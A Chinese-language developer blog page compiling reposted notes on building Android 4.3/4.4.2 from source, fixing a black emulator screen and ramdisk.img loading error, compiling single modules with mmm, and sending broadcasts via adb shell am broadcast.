Android 4.3 emulator screen stay black and qemu: could not load initrd ‘ramdisk.img’

在编译Android 4.4.2的源码之后, 生成三个img文件,

开始的几个周还能正常使用命令emulator -system system.img -ramdisk ramdisk.img -data userdata.img启动并使用eclipse调试.

 

突然! 突然! 有一个天! emulator再也不能加载启动三个img文件了!!!

运行以上命令之后, emulator就是一个黑色框框,一直黑色! 一夜都黑色! 天明了, 它还是黑色!

网上搜了如下解决方法, 不再是黑色了. 虽然仍然没有启动起来. 但是总算有点改变了.不再是一成不变的黑色和offlinele了!

--

现在, 终于启动起来了! 方法为, 不使用Android源码Prebuilt里面的emulator启动,而是使用adt(android-sdk-linux)里面的emulator! (我的路径为: ~/android-sdk-linux/tools/emulator), 你懂的adt就是使用eclipse开发android apk的时候使用的sdk.

当前启动的方法和命令为:

export PATH=$PATH:~/android-sdk-linux/tools

确认, which emulator 指向的emulator路径是adt里面的emulator,

然后在android源码的跟路径中执行如下命令:

emulator -kernel ./prebuilts/qemu-kernel/arm/kernel-qemu-armv7 -sysdir ./out/target/product/generic/  -system ./out/target/product/generic/system.img -ramdisk ./out/target/product/generic/ramdisk.img -data ./out/target/product/generic/userdata.img

启动起来了~ ! 松口气

嗯! 找到原因了.

 

driver

 

是因为virtualbox没有使用正确的显卡驱动程序! 若要emualtor正常启动, 必须使virtubal box内的ubuntu启动主机3D加速功能.而, 若显卡驱动没有启动/或者启动不正确, 则emulator仍然不能正常启动. 修正显卡驱动, 就好了!

—–

这里是遇到这种问题的正确处理方法:

1. sudo su 

2. source build/envsetup.sh

3. setpaths

4.  export ANDROID_BUILD_TOP=/research/android_src/android/  【即增加一个环境变量ANDROID_BUILD_TOP指向android源代码目录】

5. emulator 

完美执行

 

———————————————–

原文连接: http://blog.csdn.net/ritterliu/article/details/17711241

内容:

After building the 4.3 source code, I try to run the emulator with self-compiled system.img, userdata.img and ramdisk.img, but the emulator’s screen stays black and adb devices shows offline, no output.

Try to use “kernel-qemu-armv7” instead of “kernel-qemu”, solve the balck screen.

But there is still “qemu: could not load initrd ‘ramdisk.img’, after trying several times follow the guide on internet:

1. chmod 777 -R * in ramdisk.img’s path.

2. using full path in -ramdisk

below list my cmd:

/AOSP/out/host/linux-x86/bin/./emulator -kernel /AOSP/prebuilts/qemu-kernel/arm/kernel-qemu-armv7 -sysdir /AOSP/out/target/product/generic/ -system system.img -data userdata.img -ramdisk /AOSP/out/target/product/generic/ramdisk.img -skindir skins/ -skin HVGA -partition-size 768

the skins/ folder is copied from SDK path.

如何单独编译Android源代码中的模块

第一次下载好Android源代码工程后,我们通常是在Android源代码工程目录下执行make命令,经过漫长的等待之后,就可以得到Android系统镜像system.img了。以后如果我们修改了Android源代码中的某个模块或者在Android源代码工程新增一个自己的模块,是不是还是执行make命令呢?答案是否定的,Google为我们准备了另外的命令来支持编译单独的模块,以及重新打包system.img的命令。在继续学习Android源代码之前,就让我们先来看看这个命令吧。

一. 首先在Android源代码目录下的build目录下,有个脚本文件envsetup.sh,执行这个脚本文件后,就可以获得一些有用的工具:

USER-NAME@MACHINE-NAME:~/Android$ .  ./build/envsetup.sh

      注意,这是一个source命令,执行之后,就会有一些额外的命令可以使用:

      – croot: Changes directory to the top of the tree.

      – m: Makes from the top of the tree.
      – mm: Builds all of the modules in the current directory.
      – mmm: Builds all of the modules in the supplied directories.
      – cgrep: Greps on all local C/C++ files.
      – jgrep: Greps on all local Java files.
      – resgrep: Greps on all local res/*.xml files.
      – godir: Go to the directory containing a file.
      这些命令的具体用法,可以在命令的后面加-help来查看,这里我们只关注mmm命令,也就是可以用它来编译指定目录的所有模块,通常这个目录只包含一个模块。
      二. 使用mmm命令来编译指定的模块,例如Email应用程序:
      USER-NAME@MACHINE-NAME:~/Android$ mmm packages/apps/Email/
      编译完成之后,就可以在out/target/product/generic/system/app目录下看到Email.apk文件了。Android系统自带的App都放在这具目录下。另外,Android系统的一些可执行文件,例如C编译的可执行文件,放在out/target/product/generic/system/bin目录下,动态链接库文件放在out/target/product/generic/system/lib目录下,out/target/product/generic/system/lib/hw目录存放的是硬件抽象层(HAL)接口文件,后面的文章里面,我们会陆续提及到,敬请关注。
      三. 编译好模块后,还要重新打包一下system.img文件,这样我们把system.img运行在模拟器上时,就可以看到我们的程序了。
      USER-NAME@MACHINE-NAME:~/Android$ make snod
      四. 参照Ubuntu上下载、编译和安装Android最新源代码一文介绍的方法运行模拟器:
      USER-NAME@MACHINE-NAME:~/Android$ emulator
      这样一切就搞定了。
老罗的新浪微博:http://weibo.com/shengyangluo,欢迎关注!

下载,编译,并使用Android4.4.2源码

1. 源码下载

源码下载按照官方文档一步一步就可成功:

http://source.android.com/source/downloading.html

或者直接百度搜索: 百度云 android4.4.2源码

从百度云找到别人共享的android源码下载

或者:按照这个网址上的方法下载源码:http://blog.csdn.net/zbunix/article/details/8460422

 

2. 源码编译:

(1). 解压android源码之后,假设在/android_src/目录,代码的绝对路径为/android_src/android

(2). 在/android_src/android执行: source build/envsetup.sh

(3). 执行命令: choosecombo

然后选择一种编译模式(例如release, generic,eng)

(4). 执行命令: make

[注意, 推荐使用的编译环境为: linux 64位环境]

然后等待编译完成即可

3.使用编译完成的android系统启动模拟器:

在编译完成之后会在/android_src/android/out/debug(这里可能是release等,根据选择的编译模式不同)/target/product/generic目录下,有三个img文件,分别为: system.img, userdata.img, ramdisk.img.

首先执行命令: sudo chmod 777 *.img

然后执行命令: emulator -image system.img -data userdata.img -ramdisk ramdisk.img

启动模拟器,结束

 

 

在命令行中通过adb shell am broadcast发送广播通知

原文链接: http://blog.csdn.net/zuolongsnail/article/details/8167501

通过命令行执行adb shell am broadcast发送广播通知。

 

adb shell am broadcast 后面的参数有:

[-a <ACTION>]
[-d <DATA_URI>]
[-t <MIME_TYPE>]
[-c <CATEGORY> [-c <CATEGORY>] …]
[-e|–es <EXTRA_KEY> <EXTRA_STRING_VALUE> …]
[–ez <EXTRA_KEY> <EXTRA_BOOLEAN_VALUE> …]
[-e|–ei <EXTRA_KEY> <EXTRA_INT_VALUE> …]
[-n <COMPONENT>]
[-f <FLAGS>] [<URI>]

 

例如:

adb shell am broadcast -a com.android.test –es test_string “this is test string” –ei test_int 100 –ez test_boolean true

 

说明:蓝色为key,红色为alue,分别为String类型,int类型,boolean类型